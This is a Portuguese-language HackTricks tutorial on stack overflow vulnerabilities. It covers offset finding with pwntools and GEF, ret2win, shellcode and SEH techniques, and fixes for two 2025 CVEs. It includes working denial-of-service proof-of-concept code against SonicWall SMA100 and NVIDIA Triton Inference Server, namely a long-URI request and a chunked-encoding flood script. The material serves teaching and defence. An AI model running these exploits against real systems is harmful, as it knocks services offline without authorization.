Stack Overflow
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é um Stack Overflow
A stack overflow é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que foi alocado para ela. Esse excesso de dados irá sobrescrever espaço de memória adjacente, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema costuma surgir devido ao uso de funções inseguras que não fazem verificação de limites na entrada.
O principal problema dessa sobrescrita é que o saved instruction pointer (EIP/RIP) e o saved base pointer (EBP/RBP) para retornar à função anterior são armazenados na stack. Portanto, um atacante poderá sobrescrevê-los e controlar o fluxo de execução do programa.
A vulnerabilidade geralmente surge porque uma função copia dentro da stack mais bytes do que a quantidade alocada para ela, possibilitando assim sobrescrever outras partes da stack.
Algumas funções comuns vulneráveis a isso são: strcpy
, strcat
, sprintf
, gets
... Além disso, funções como fgets
, read
e memcpy
que recebem um length argument, podem ser usadas de forma vulnerável se o tamanho especificado for maior do que o alocado.
Por exemplo, as seguintes funções poderiam ser vulneráveis:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Encontrando offsets de Stack Overflows
A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de A
s (ex.: python3 -c 'print("A"*1000)'
) e esperar um Segmentation Fault
indicando que houve tentativa de acessar o endereço 0x41414141
.
Além disso, uma vez identificado que existe uma Stack Overflow vulnerability, você precisará encontrar o offset até que seja possível overwrite the return address, para isso normalmente se usa uma De Bruijn sequence. A mesma, para um dado alfabeto de tamanho k e subsequências de comprimento n, é uma sequência cíclica na qual cada possível subsequência de comprimento n aparece exatamente uma vez como subsequência contígua.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que terminaram sobrescrevendo-a.
É possível usar pwntools para isso:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ou GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Explorando Stack Overflows
Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá sobrescrever valores de variáveis locais dentro da stack até alcançar o salvo EBP/RBP and EIP/RIP (or even more).
A maneira mais comum de explorar esse tipo de vulnerabilidade é modificar o return address para que, quando a função terminar, o control flow seja redirecionado para onde o usuário especificou nesse ponteiro.
No entanto, em outros cenários talvez apenas sobrescrever alguns valores de variáveis na stack seja suficiente para a exploração (como em desafios fáceis de CTF).
Ret2win
Nesse tipo de desafios CTF, existe uma function inside o binary que é never called e que você precisa chamar para ganhar. Para esses desafios você só precisa encontrar o offset to overwrite the return address e encontrar o address da function a ser chamada (normalmente ASLR estará desabilitado) para que, quando a função vulnerável retornar, a função escondida seja chamada:
Stack Shellcode
Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
Windows SEH-based exploitation (nSEH/SEH)
Em Windows 32-bit, um overflow pode sobrescrever a Structured Exception Handler (SEH) chain em vez do saved return address. A exploração tipicamente substitui o SEH pointer por um POP POP RET gadget e usa o campo de 4 bytes nSEH para um salto curto (short jump) para pivotar de volta para o grande buffer onde o shellcode vive. Um padrão comum é um short jmp em nSEH que aterrissa em um near jmp de 5 bytes colocado logo antes de nSEH para saltar centenas de bytes de volta ao início do payload.
ROP & Ret2... techniques
Essa técnica é a estrutura fundamental para contornar a principal proteção ao método anterior: No executable stack (NX). E permite executar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções já existentes no binary:
ROP - Return Oriented Programing
Heap Overflows
Um overflow nem sempre estará na stack, também pode estar no heap, por exemplo:
Tipos de proteções
Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira em:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Uma boa demonstração de por que sscanf
should never be trusted for parsing untrusted input apareceu em 2025 no appliance SonicWall SMA100 SSL-VPN.
A rotina vulnerável dentro de /usr/src/EasyAccess/bin/httpd
tenta extrair a versão e o endpoint de qualquer URI que começa com /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- A primeira conversão (
%2s
) armazena com segurança dois bytes emversion
(por exemplo"v1"
). - A segunda conversão (
%s
) não tem especificador de comprimento, portantosscanf
continuará copiando até o primeiro byte NUL. - Porque
endpoint
está localizado na stack e tem 0x800 bytes de comprimento, fornecer um caminho com mais de 0x800 bytes corrompe tudo que vem depois do buffer ‑ incluindo o stack canary e o saved return address.
Uma prova de conceito em uma única linha é suficiente para acionar o crash before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Mesmo que os stack canaries abortem o processo, um atacante ainda obtém uma primitiva de Denial-of-Service (e, com leaks de informação adicionais, possivelmente code-execution). A lição é simples:
- Sempre forneça uma largura máxima de campo (por exemplo
%511s
). - Prefira alternativas mais seguras, como
snprintf
/strncpy_s
.
Exemplo do mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos stack-based overflows acessíveis através da sua HTTP API.
O padrão vulnerável aparecia repetidamente em http_server.cc
e sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) retorna o número de segmentos de buffer internos que compõem o corpo da requisição HTTP atual.- Cada segmento provoca a alocação de um
evbuffer_iovec
de 16-byte na stack viaalloca()
– sem qualquer limite superior. - Ao abusar de HTTP chunked transfer-encoding, um cliente pode forçar a requisição a ser dividida em centenas de milhares de 6-byte chunks (
"1\r\nA\r\n"
). Isso fazn
crescer sem limites até que a stack seja esgotada.
Prova de Conceito (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Uma solicitação de ~3 MB é suficiente para sobrescrever o saved return address e crash o daemon em uma build padrão.
Correção & Mitigação
A versão 25.07 substitui a alocação insegura na pilha por um heap-backed std::vector
e passa a tratar std::bad_alloc
de forma graciosa:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lições aprendidas:
- Nunca chame
alloca()
com tamanhos controlados pelo atacante. - Chunked requests podem alterar drasticamente a forma dos buffers do lado do servidor.
- Valide / limite qualquer valor derivado da entrada do cliente antes de usá-lo em alocações de memória.
Referências
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.